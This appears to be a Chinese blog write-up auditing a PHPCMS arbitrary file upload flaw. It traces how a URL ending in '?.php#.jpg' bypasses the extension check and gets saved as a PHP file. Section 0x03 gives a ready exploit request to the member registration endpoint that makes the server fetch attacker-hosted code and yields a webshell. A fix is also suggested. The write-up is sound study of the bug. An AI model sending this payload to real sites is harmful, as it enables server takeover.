0x01前言 这个漏洞出来也有一段时间了,成天不知道瞎忙些什么,一直也没静下心来研究一下。。。自己水平也是菜,一直玩人家反复玩了不知道多少遍的东西。只能多学点挖洞姿势,希望自己以后也能挖到一个0day(有生之年系列。。。。)
0x02漏洞分析 漏洞出现在/phpcms/libs/classes/attachment.class.php中的download函数中,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45    function  download ($field , $value ,$watermark  = '0' ,$ext  = 'gif|jpg|jpeg|bmp|png' , $absurl  = '' , $basehref  = ''  	global  $image_d ; 	$this ->att_db = pc_base::load_model ('attachment_model' ); 	$upload_url  = pc_base::load_config ('system' ,'upload_url' ); 	$this ->field = $field ; 	$dir  = date ('Y/md/' ); 	$uploadpath  = $upload_url .$dir ; 	$uploaddir  = $this ->upload_root.$dir ; 	$string  = new_stripslashes ($value ); 	if (!preg_match_all ("/(href|src)=([\"|']?)([^ \"'>]+\.($ext ))\\2/i" , $string , $matches )) return  $value ; 	$remotefileurls  = array (); 	foreach ($matches [3 ] as  $matche ) 	{ 		if (strpos ($matche , '://' ) === false ) continue ; 		dir_create ($uploaddir ); 		$remotefileurls [$matche ] = $this ->fillurl ($matche , $absurl , $basehref ); 	} 	unset ($matches , $string ); 	$remotefileurls  = array_unique ($remotefileurls ); 	$oldpath  = $newpath  = array (); 	foreach ($remotefileurls  as  $k =>$file ) { 		if (strpos ($file , '://' ) === false  || strpos ($file , $upload_url ) !== false ) continue ; 		$filename  = fileext ($file ); 		$file_name  = basename ($file ); 		$filename  = $this ->getname ($filename ); 		$newfile  = $uploaddir .$filename ; 		$upload_func  = $this ->upload_func; 		if ($upload_func ($file , $newfile )) { 			$oldpath [] = $k ; 			$GLOBALS ['downloadfiles' ][] = $newpath [] = $uploadpath .$filename ; 			@chmod ($newfile , 0777 ); 			$fileext  = fileext ($filename ); 			if ($watermark ){ 				watermark ($newfile , $newfile ,$this ->siteid); 			} 			$filepath  = $dir .$filename ; 			$downloadedfile  = array ('filename' =>$filename , 'filepath' =>$filepath , 'filesize' =>filesize ($newfile ), 'fileext' =>$fileext ); 			$aid  = $this ->add ($downloadedfile ); 			$this ->downloadedfiles[$aid ] = $filepath ; 		} 	} 	return  str_replace ($oldpath , $newpath , $value ); }	 
简单分析一下函数的功能,函数形参$value获取到是远程文件的url,也是我们构造poc的地方。这段正则检测远程文件后缀名的合法性(gif|jpg|jpeg|bmp|png为合法),这里只是检测url的最后,所以我们可以用url有锚点(#)的特性来绕过。如果觉得难懂就拿出来输出一下匹配结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php 	$ext  = 'jpg' ; 	$string  = 'src=http://192.168.31.131/test.txt?.php#.jpg' ; 	preg_match_all ("/(href|src)=([\"|']?)([^ \"'>]+\.($ext ))\\2/i" , $string , $matches ); 	var_dump ($matches ); ?> array (5 ) {  [0 ]=>   array (1 ) {     [0 ]=>     string (44 ) "src=http://192.168.31.131/test.txt?.php#.jpg"    }   [1 ]=>   array (1 ) {     [0 ]=>     string (3 ) "src"    }   [2 ]=>   array (1 ) {     [0 ]=>     string (0 ) ""    }   [3 ]=>   array (1 ) {     [0 ]=>     string (40 ) "http://192.168.31.131/test.txt?.php#.jpg"    }   [4 ]=>   array (1 ) {     [0 ]=>     string (3 ) "jpg"    } } 
很明显我们构造的poc绕过了正则的检测,否则输出结果就位空了。继续往下走,将src的值放入fillurl函数(与download函数在同一文件)中,继续跟下去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 function  fillurl ($surl , $absurl , $basehref  = '' 		if ($basehref  != '' ) { 			$preurl  = strtolower (substr ($surl ,0 ,6 )); 			if ($preurl =='http://'  || $preurl =='ftp://'  ||$preurl =='mms://'  || $preurl =='rtsp://'  || $preurl =='thunde'  || $preurl =='emule://' || $preurl =='ed2k://' ) 			return   $surl ; 			else  			return  $basehref .'/' .$surl ; 		} 		$i  = 0 ; 		$dstr  = '' ; 		$pstr  = '' ; 		$okurl  = '' ; 		$pathStep  = 0 ; 		$surl  = trim ($surl ); 		if ($surl =='' ) return  '' ; 		$urls  = @parse_url (SITE_URL); 		$HomeUrl  = $urls ['host' ]; 		$BaseUrlPath  = $HomeUrl .$urls ['path' ]; 		$BaseUrlPath  = preg_replace ("/\/([^\/]*)\.(.*)$/" ,'/' ,$BaseUrlPath ); 		$BaseUrlPath  = preg_replace ("/\/$/" ,'' ,$BaseUrlPath ); 		$pos  = strpos ($surl ,'#' ); 		if ($pos >0 ) $surl  = substr ($surl ,0 ,$pos ); 		if ($surl [0 ]=='/' ) { 			$okurl  = 'http://' .$HomeUrl .'/' .$surl ; 		} elseif ($surl [0 ] == '.' ) { 			if (strlen ($surl )<=2 ) return  '' ; 			elseif ($surl [0 ]=='/' ) { 				$okurl  = 'http://' .$BaseUrlPath .'/' .substr ($surl ,2 ,strlen ($surl )-2 ); 			} else  { 				$urls  = explode ('/' ,$surl ); 				foreach ($urls  as  $u ) { 					if ($u ==".." ) $pathStep ++; 					else  if ($i <count ($urls )-1 ) $dstr  .= $urls [$i ].'/' ; 					else  $dstr  .= $urls [$i ]; 					$i ++; 				} 				$urls  = explode ('/' , $BaseUrlPath ); 				if (count ($urls ) <= $pathStep ) 				return  '' ; 				else  { 					$pstr  = 'http://' ; 					for ($i =0 ;$i <count ($urls )-$pathStep ;$i ++) { 						$pstr  .= $urls [$i ].'/' ; 					} 					$okurl  = $pstr .$dstr ; 				} 			} 		} else  { 			$preurl  = strtolower (substr ($surl ,0 ,6 )); 			if (strlen ($surl )<7 ) 			$okurl  = 'http://' .$BaseUrlPath .'/' .$surl ; 			elseif ($preurl =="http:/" ||$preurl =='ftp://'  ||$preurl =='mms://'  || $preurl =="rtsp://"  || $preurl =='thunde'  || $preurl =='emule:' || $preurl =='ed2k:/' ) 			$okurl  = $surl ; 			else  			$okurl  = 'http://' .$BaseUrlPath .'/' .$surl ; 		} 		$preurl  = strtolower (substr ($okurl ,0 ,6 )); 		if ($preurl =='ftp://'  || $preurl =='mms://'  || $preurl =='rtsp://'  || $preurl =='thunde'  || $preurl =='emule:' || $preurl =='ed2k:/' ) { 			return  $okurl ; 		} else  { 			$okurl  = preg_replace ('/^(http:\/\/)/i' ,'' ,$okurl ); 			$okurl  = preg_replace ('/\/{1,}/i' ,'/' ,$okurl ); 			return  'http://' .$okurl ; 		} 	} 
虽然这个函数写了一大坨,但是功能只有一个,就是把url的锚点去掉。回到download函数,此时取到的$remotefileurl的值为array(‘http://192.168.31.131/test.txt?.php#.jpg'  => ‘http://192.168.31.131/test.txt?.php'),然后经过了fileext函数: 
1 2 3 function  fileext ($filename 	return  strtolower (trim (substr (strrchr ($filename , '.' ), 1 , 10 ))); } 
这里要说一说strrchr函数,这个php内置函数是查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符,便于理解还是贴出测试代码:
1 2 3 4 5 6 7 8 9 <?php     $filename  = 'text.txt?.php' ;     echo  strrchr ($filename , '.' ) ."\n" ;     $ext  = substr (strrchr ($filename , '.' ), 1 , 10 );     echo  $ext ; ?> .php php 
将后缀名取出之后没有做任何检测,那后面呢?我们继续向下看。将后缀名传入getname函数:
1 2 3 function  getname ($fileext     return  date ('Ymdhis' ).rand (100 , 999 ).'.' .$fileext ; } 
直接拼接后缀名,依然没有任何过滤。。。下面就直接下载文件并重命名,此时我们放在远程主机上的txt文件就被保存为了php文件,导致getshell。这里对url处理不当,以及前面一次过滤就以为万事大吉导致这个漏洞的产生。
找到了漏洞存在的地方,下面就要寻找一个触发漏洞的地方。
这里以caches/caches_model/caches_data/member_input.class.php为例:
1 2 3 4 5 6 7 8 function  editor ($field , $value 		$setting  = string2array ($this ->fields[$field ]['setting' ]); 		$enablesaveimage  = $setting ['enablesaveimage' ]; 		$site_setting  = string2array ($this ->site_config['setting' ]); 		$watermark_enable  = intval ($site_setting ['watermark_enable' ]); 		$value  = $this ->attachment->download ('content' , $value ,$watermark_enable ); 		return  $value ; 	} 
可以看到没有对$value做任何过滤,那么editor函数又在哪里被调用了呢?看大牛的paper说是动态调用的。。。。(这不就超出我的能力范围了嘛。。),调用的地方在同文件的get函数里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 function  get ($data 		$this ->data = $data  = trim_script ($data ); 		$model_cache  = getcache ('member_model' , 'commons' ); 		$this ->db->table_name = $this ->db_pre.$model_cache [$this ->modelid]['tablename' ]; 		$info  = array (); 		$debar_filed  = array ('catid' ,'title' ,'style' ,'thumb' ,'status' ,'islink' ,'description' ); 		if (is_array ($data )) { 			foreach ($data  as  $field =>$value ) { 				if ($data ['islink' ]==1  && !in_array ($field ,$debar_filed )) continue ; 				$field  = safe_replace ($field ); 				$name  = $this ->fields[$field ]['name' ]; 				$minlength  = $this ->fields[$field ]['minlength' ]; 				$maxlength  = $this ->fields[$field ]['maxlength' ]; 				$pattern  = $this ->fields[$field ]['pattern' ]; 				$errortips  = $this ->fields[$field ]['errortips' ]; 				if (empty ($errortips )) $errortips  = "$name  不符合要求!" ; 				$length  = empty ($value ) ? 0  : strlen ($value ); 				if ($minlength  && $length  < $minlength  && !$isimport ) showmessage ("$name  不得少于 $minlength  个字符!" ); 				if  (!array_key_exists ($field , $this ->fields)) showmessage ('模型中不存在' .$field .'字段' ); 				if ($maxlength  && $length  > $maxlength  && !$isimport ) { 					showmessage ("$name  不得超过 $maxlength  个字符!" ); 				} else  { 					str_cut ($value , $maxlength ); 				} 				if ($pattern  && $length  && !preg_match ($pattern , $value ) && !$isimport ) showmessage ($errortips ); 	            if ($this ->fields[$field ]['isunique' ] && $this ->db->get_one (array ($field =>$value ),$field ) && ROUTE_A != 'edit' ) showmessage ("$name  的值不得重复!" ); 				$func  = $this ->fields[$field ]['formtype' ]; 				if (method_exists ($this , $func )) $value  = $this ->$func ($field , $value ); 	 				$info [$field ] = $value ; 			} 		} 		return  $info ; 	} 
先对 $data  先做了 trim  去除两头空白字符的处理。if($data['islink']==1 && !in_array($field,$debar_filed)) continue;caches/caches_model/caches_data/model_field_1.cache.php文件里面找到合适的field 名。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function  safe_replace ($string 	$string  = str_replace ('%20' ,'' ,$string ); 	$string  = str_replace ('%27' ,'' ,$string ); 	$string  = str_replace ('%2527' ,'' ,$string ); 	$string  = str_replace ('*' ,'' ,$string ); 	$string  = str_replace ('"' ,'"' ,$string ); 	$string  = str_replace ("'" ,'' ,$string ); 	$string  = str_replace ('"' ,'' ,$string ); 	$string  = str_replace (';' ,'' ,$string ); 	$string  = str_replace ('<' ,'<' ,$string ); 	$string  = str_replace ('>' ,'>' ,$string ); 	$string  = str_replace ("{" ,'' ,$string ); 	$string  = str_replace ('}' ,'' ,$string ); 	$string  = str_replace ('\\' ,'' ,$string ); 	return  $string ; } 
没啥影响,继续向下看:
1 2 $func  = $this ->fields[$field ]['formtype' ];if (method_exists ($this , $func )) $value  = $this ->$func ($field , $value );
我们要找的 field 的 formtype 值必须是 editor,先跟一下fields变量
1 2 3 4 5 6 7 8 9 var  $modelid ;var  $fields ;var  $data ;function  __construct ($modelid     ......     $this ->fields = getcache ('model_field_' .$modelid ,'model' );     ...... } 
继续跟到getcache函数:
1 2 3 4 5 6 7 8 9 10 11 12 function  getcache ($name , $filepath ='' , $type ='file' , $config ='' 	if (!preg_match ("/^[a-zA-Z0-9_-]+$/" , $name )) return  false ; 	if ($filepath !=""  && !preg_match ("/^[a-zA-Z0-9_-]+$/" , $filepath )) return  false ; 	pc_base::load_sys_class ('cache_factory' ,'' ,0 ); 	if ($config ) { 		$cacheconfig  = pc_base::load_config ('cache' ); 		$cache  = cache_factory::get_instance ($cacheconfig )->get_cache ($config ); 	} else  { 		$cache  = cache_factory::get_instance ()->get_cache ($type ); 	} 	return  $cache ->get ($name , '' , '' , $filepath ); } 
就是读取的caches/caches_model/caches_data/model_field_{$modelid}.cache.php文件,$modelid是我们可以控制的(后面会提到),正好在caches/caches_model/caches_data/model_field_1.cache.php文件里面找到合适的 field 字段——content
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ...... 'content'  =>   array  (     'fieldid'  => '8' ,     'modelid'  => '1' ,     'siteid'  => '1' ,     'field'  => 'content' ,     'name'  => '内容' ,     'tips'  => '<div class="content_attr"><label><input name="add_introduce" type="checkbox"  value="1" checked>是否截取内容</label><input type="text" name="introcude_length" value="200" size="3">字符至内容摘要  <label><input type=\'checkbox\' name=\'auto_thumb\' value="1" checked>是否获取内容第</label><input type="text" name="auto_thumb_no" value="1" size="2" class="">张图片作为标题图片 </div>' ,    'css'  => '' ,     'minlength'  => '1' ,     'maxlength'  => '999999' ,     'pattern'  => '' ,     'errortips'  => '内容不能为空' ,     'formtype'  => 'editor' , ...... 
因为这个文件是 cache 文件,根据其命名规范,找其对应的 module 文件就好了,对应的目录为: /phpcms/modules/member/ ,我们重点关注哪个文件中的方法中用了 $member_input‐>get  方法,并且这个方法可以在前台调用。
这三处看了一下只有/phpcms/modules/member/index.php  中的 register 方法比较适合利用,关键代码如下:
1 2 3 4 5 6 7 8 if ($member_setting ['choosemodel' ]) {    require_once  CACHE_MODEL_PATH.'member_input.class.php' ;     require_once  CACHE_MODEL_PATH.'member_update.class.php' ;     $member_input  = new  member_input ($userinfo ['modelid' ]);		     $_POST ['info' ] = array_map ('new_html_special_chars' ,$_POST ['info' ]);     $user_model_info  = $member_input ->get ($_POST ['info' ]);				        				 } 
$_POST[‘info’]经过new_html_special_chars函数,将文本转化为html实体
1 2 3 4 5 6 7 8 9 function  new_html_special_chars ($string 	$encoding  = 'utf-8' ; 	if (strtolower (CHARSET)=='gbk' ) $encoding  = 'ISO-8859-15' ; 	if (!is_array ($string ))              return  htmlspecialchars ($string ,ENT_QUOTES,$encoding ); 	foreach ($string  as  $key  => $val )              $string [$key ] = new_html_special_chars ($val ); 	return  $string ; } 
还记得这个modelid吗?在member_input.class.php中可以通过这个变量获取到我们想要的field值,而现在我们发现,这个变量是可控的,是不是很开心?
1 2 $userinfo ['modelid' ] = isset ($_POST ['modelid' ]) ? intval ($_POST ['modelid' ]) : 10 ;
经过这么久的分析,终于到了最后一击。结合我们上面的一系列分析,只要 $_POST[‘info’]  中的 content  字段的值有 src=http://10.10.10.1/test.txt?.php#.jpg  这个字符串或者把 src  替换成 href  就能触发漏洞了。
最后再啰嗦啰嗦,总体上分析一下这个src=http://10.10.10.1/test.txt?.php#.jpgpayload:http://127.0.0.1/test.txt?.php 
0x03漏洞利用 忙活了这么半天就为了这一刻啊~
参考这个可以构造info[content]参数
但是像这样提交是会报模块中没有birthday字段错误的,那去掉就好了~
1 2 url: /index.php?m=member&c=index&a=register&siteid=1  post数据:siteid=1&modelid=11&username=abcd&password=123456&email=abcd@qq.com&info[content]=src=http://10.10.10.1/test.txt?.php#.jpg&dosubmit=1&protocol= 
0x04漏洞修复 
在获取后缀名的时候再次验证后缀名的合法性if(!preg_match("/($ext)/i", $filename)) continue; 
下载9.6.1版。。。。。。 
 
0x05总结 这篇文章写得很长,看起来可能有些啰嗦,我只是想把我的审计过程详细的记录下来。这次审计学到了很多东西,像函数的动态调用、找到漏洞点之后再去寻找触发点等,都是之前自己小打小闹的时候没有遇到过的。总而言之,水平有待提高啊。。。